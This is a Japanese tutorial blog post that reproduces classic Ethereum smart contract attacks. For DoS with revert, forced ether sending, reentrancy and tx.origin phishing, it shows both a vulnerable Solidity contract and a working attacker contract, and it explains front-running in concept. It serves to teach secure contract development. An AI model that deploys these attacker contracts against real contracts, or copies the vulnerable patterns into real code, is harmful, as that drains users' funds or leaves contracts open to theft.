はじめに
コード眺めるだけよりも動かして見た方がより理解が進むであろうと思ったので、ethereum の有名な攻撃や気になった攻撃をいくつか再現してみた
使い方
このリポジトリに test コードとしてまとめてある
docker で node.js を実行できて必要な library が全て準備された image を作ったので、ライブラリなどはローカルマシンにインストールをする必要は無いが、Docker for Mac (Windows でも多分動くけど未検証) がインストールされている必要がある
以下のコマンドでコンテナが起動する
$ sh script/start.sh
初回起動時はコンテナをビルドするので多少時間がかかる
起動したら、以下のコマンドを打つとテスト (攻撃の再現)が実行される
$ sh script/test/start.sh
解説
DoS with revert
オークションコントラクトなどで、新規に入札をできなくする攻撃。 send
などの送金処理で呼び出される関数は書き換えが可能なので、常に失敗の危険がある
send
や transfer
などの外部関数呼び出しは失敗の可能性がある事を常に頭に入れる事が大事
// オークションのコントラクト
contract InsecureAuction {
address public currentLeader;
uint public highestBid;
// この method を使って入札してもらうが、悪意のある smartcontract から入札されると不当に安い価格で highestBid が固定される恐れがある
function bid() payable public {
require(msg.value > highestBid);
// ここの .send は失敗するように書く事が出来るため、そういった smartcontract に一度入札されると highestBid を動かす事は出来なくなる
require(currentLeader.send(highestBid));
currentLeader = msg.sender;
highestBid = msg.value;
}
}
// 悪意のある入札用コントラクト
contract MaliciousBidder {
address public payer;
uint256 public amount;
// default function call always fail
function () payable public {
// これは常に fail するため、InsecureAuction の currentLeader.send は必ず失敗する
require(msg.value < 0);
}
function bid(address addr) payable public {
InsecureAuction auction = InsecureAuction(addr);
auction.bid.value(msg.value)();
}
}
Forcibly Sending Ether to a Contract
selfdestruct
という関数を呼ぶとコントラクトは自身を破壊して、持っていた ether を強制的に指定したアドレスに送る事が出来る。 つまり保有する ether の量を条件としたロジックなどを組んでいるとハックされる危険がある。
// ether の保有量をロジックに入れてしまっているコントラクト
contract Vulnerable {
string public message;
function Vulnerable() public {
message = "something bad not happen";
}
function () payable public {
revert();
}
function somethingBad() public {
// ここで保有する ether の量を判断ロジックに入れているが非常に危険
require(this.balance > 0);
message = "something bad happen";
}
}
// 攻撃者が用意したコントラクト
contract Destructable {
// この method を呼ぶと、このコントラクトが保有する ether は addr で指定したアドレスに強制的に移される
function kill(address addr) payable public {
selfdestruct(addr);
}
}
Reentrancy
いわゆる The Dao 事件の手口
DoS with revert
と一緒で、送金処理で呼び出される関数の中で再帰的にもとの関数を呼べてしまう。状態変更を行うタイミングによっては意図しない出金などをされてしまう。
call.value()()
の代わりに send()
を使えば gas が足りなくて再帰呼び出しは失敗するはず。ただし、 send()
であっても何が実行されるかはわからないので注意が必要。
// 脆弱性を持つコントラクト
contract Reentrancy {
mapping (address => uint) public userBalances;
// 預金者に引き出しをさせるための method
function withdrawBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
// ここで引き出しをしたいユーザーの fallback 関数を呼んでいるが、その中で withdrawBalance を呼ばれると再帰的にこの関数が呼ばれる
require(msg.sender.call.value(amountToWithdraw)());
userBalances[msg.sender] = 0;
}
function deposit() payable public {
userBalances[msg.sender] = msg.value;
}
}
contract MaliciousWithdrawer {
int private count;
function MaliciousWithdrawer() public {
count = 0;
}
// Reentrancy コントラクトの withdrawBalance の中から呼ばれる
// 再帰的に withdrawBalance を呼んで預金額以上を引き出す事が出来てしまう
function () payable public {
count += 1;
if (count < 10) {
Reentrancy reentrancy = Reentrancy(msg.sender);
reentrancy.withdrawBalance();
}
}
// この method call をトリガーにして最初の withdrawBalance を呼ぶ
// 以降は withdrawBalance がこのコントラクトの fallback 関数を呼び、その中で再度 withdrawBalance が呼ばれる
function withdraw(address addr) public {
Reentrancy reentrancy = Reentrancy(addr);
reentrancy.withdrawBalance();
}
// withdrawBalance の最初のガードコンディションを突破するために少額の deposit を行う
function deposit(address addr) payable public {
Reentrancy reentrancy = Reentrancy(addr);
reentrancy.deposit.value(msg.value)();
}
}
Tx.origin attack
tx.origin
で本人確認をしているため、悪意のあるコントラクトはなりすましが可能
具体的には以下のような流れになる
- 攻撃者はユーザーに自分の財布経由で攻撃用コントラクトに送金などをしてもらう (1 wei とか少額)
- 攻撃用コントラクトは、送金してくれた財布の method を呼んで自分に財布の中身を送金させる指示を出す
- 財布では、tx.origin を使って本人確認しているので、攻撃用コントラクトからの指示を自分からの指示と勘違いして処理を進めてしまう
- 財布の中身は全て攻撃者に transfer される
// 脆弱性のある財布コントラクト
contract InsecureWallet {
address public owner;
function InsecureWallet() public {
owner = msg.sender;
}
function transfer(address dest, uint amount) public {
// ここで tx.origin を使って本人確認をしてしまっている
if (tx.origin != owner) {
revert();
}
if (!dest.call.value(amount)()) {
revert();
}
}
function() payable public {
}
}
// 攻撃用コントラクト
contract TxAttackWallet {
address public owner;
function TxAttackWallet() public {
owner = msg.sender;
}
// この method を InsecureWallet を通して呼ばせると、wallet の中身を全てこのコントラクトの owner に transfer できる
// InsecureWallet の transfer を呼ぶのは TxAttackWallet コントラクトだが、tx.origin はこの method を呼んだアドレスになる
function() payable public {
InsecureWallet(msg.sender).transfer(owner, msg.sender.balance);
}
}
Transaction-Ordering Dependence (TOD) / Front Running
transaction が実際に block に取り込まれるまでに多少の時間を要するという Blockchain の特性を悪用した攻撃。この攻撃の再現は難しかったので概念だけ説明する。
Token sale コントラクトがあり、下記のような特性を持っているとする。
- TokenSale の owner は
updatePrice
method を利用して Token の価格を自由に変更できる - Token を買いたい人は buy method に Transaction を投げる事で Transaction 実行時の時価で Token を購入出来る
contract TokenSale {
uint public price;
EIP20 public token;
address public owner;
function TokenSale() public {
owner = msg.sender;
}
function updatePrice(uint _price){
if( msg.sender == owner ) {
price = _price;
}
}
function buy(uint quant) payable returns(uint) {
require(msg.value > quant * price);
token.transfer(msg.sender, msg.value/price);
}
}
このような場合に、Token を購入したいユーザーが期待する挙動としては、自分が buy
method の Transaction を発行して Ethereum network に投げ込んだ瞬間の時価で Token を購入出来るというもの。
しかしながら Blockchain の特性上 Transaction が network に投げ込まれてから、実行されて、 Block に書き込まれるまでには多少の時差がある
もしたまたま殆ど同時に TokenSale の owner が Token の値段を変更して updatePrice
method を呼び、その transaction がたまたま buy
Transaction よりも早く Block に取り込まれた場合には、ユーザーは想定外の値段で Token を購入してしまう可能性がある。
また、意図的に TokenSale の owner が ethereum の tx pool を監視し、buy
Transaction が投げ込まれた瞬間に updatePrice
Transaction を投げ込むという事も可能。
100% では無いが、updatePrice
Transaction の方が早く実行され Block に取り込まれる可能性は存在するため、意図的にユーザーに高い値段で Token を購入させるという攻撃が可能。
最後に
不定期で更新していきたいと思っています
また、間違いなどあれば優しく指摘して頂ければ嬉しいです